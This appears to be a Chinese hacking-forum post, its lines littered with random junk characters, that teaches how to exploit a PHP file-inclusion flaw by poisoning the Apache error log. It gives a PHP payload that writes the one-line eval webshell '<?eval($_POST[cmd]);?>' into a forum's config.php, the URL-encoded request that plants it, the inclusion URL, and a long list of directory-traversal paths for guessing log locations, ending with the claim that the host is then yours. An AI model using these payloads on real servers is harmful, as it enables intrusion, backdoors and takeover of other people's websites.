php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

5 x: l* X( G5 N  I" |比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

- E+ U9 C0 N5 C% x( f+ }到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
/ \( k; W9 c) }  ?7 F  ]0 n6 k  Jfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

5 \3 F; J9 I" [<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

5 @6 J2 j1 e% \# H9 W4 X我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
" M! a) R; n$ n- pconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
; s4 M. K' X3 k( Q) |- b* W%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
$ l& \) E# w4 K我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
- c6 U* g3 b5 ^) g%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
+ M: m* G7 M' d: M! h# U8 i0 V1 x0 d, s%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
, |6 Q3 f+ d( u' \
这样就错误日志里就记录下了这行写入webshell的代码。
) A4 Y0 F/ c$ p5 n; L+ }) D! H- h3 I4 G我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
4 D3 x: R! {6 X4 A2 I6 ~+ SOK.
7 N/ m% `  C: ?. Xhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

5 a1 l  S( V' b0 D. p$ ~6 HPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
9 Q: J0 z' a1 ]' A+ q% c
其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
3 g( e0 O9 m" D3 D8 o../../../../../../../../../../var/log/httpd/error_log
% n; R* l1 I+ M+ G3 B../apache/logs/error.log
9 r; g4 R/ ?& a; _: o$ k! `../apache/logs/access.log
, S& r6 F0 z( Z9 z0 `5 }+ }4 s../../apache/logs/error.log
5 H! j9 {! ~" ~4 l/ O* I../../apache/logs/access.log
6 \- C9 u" G' c6 w" q  }- ?1 _../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
% Q+ _/ ~9 z* f4 X6 l  z% \../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
) \. _3 \: ~# J! J$ _4 b6 ^) l../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
+ O( Y) b, B  ^- X../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
( r1 R7 [* S4 t: o' M, q. Z../../../../../../../../../../usr/local/apache/logs/access.log
" h8 o# B8 W! v../../../../../../../../../../var/log/apache/access_log
7 K8 D' W3 R- e7 Q  o" j../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
" m1 P6 S  a# b" k$ ]. c7 j../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
1 Z) |  M- O, m" f/ N../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
' a. m8 S* U' C( K  I5 v5 o../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
5 b9 f+ g. x' `0 H7 w6 G6 D" g; |/var/log/httpd/error_log     
../apache/logs/error.log     
( O9 J- R' G) [5 [" c% k& g../apache/logs/access.log
../../apache/logs/error.log
6 |: L: S( l- Z! m& z9 y../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
  \8 `9 z2 ]) a( ^1 ?/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
. T" ^  O* N  E3 q/ [+ t3 @$ f# N# Q/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
$ D8 V0 r. o# b2 M" |/var/www/logs/access.log
+ |3 p' K/ ?7 P8 A6 [/ E2 U/usr/local/apache/logs/access_log
6 [# j1 Y: Q2 c7 M" e1 q8 X  u/usr/local/apache/logs/access.log
  R. x( s8 {1 ?/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
! Q9 \* O6 D& f/var/www/logs/error_log
/var/www/logs/error.log
$ O2 I$ D) |6 z! E- o  D/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
# U; J" K5 @) {: G6 N/var/log/apache/error.log
0 o5 f0 [9 _0 h! i/var/log/access_log
, m& w  V' v& |) R. }/var/log/error_log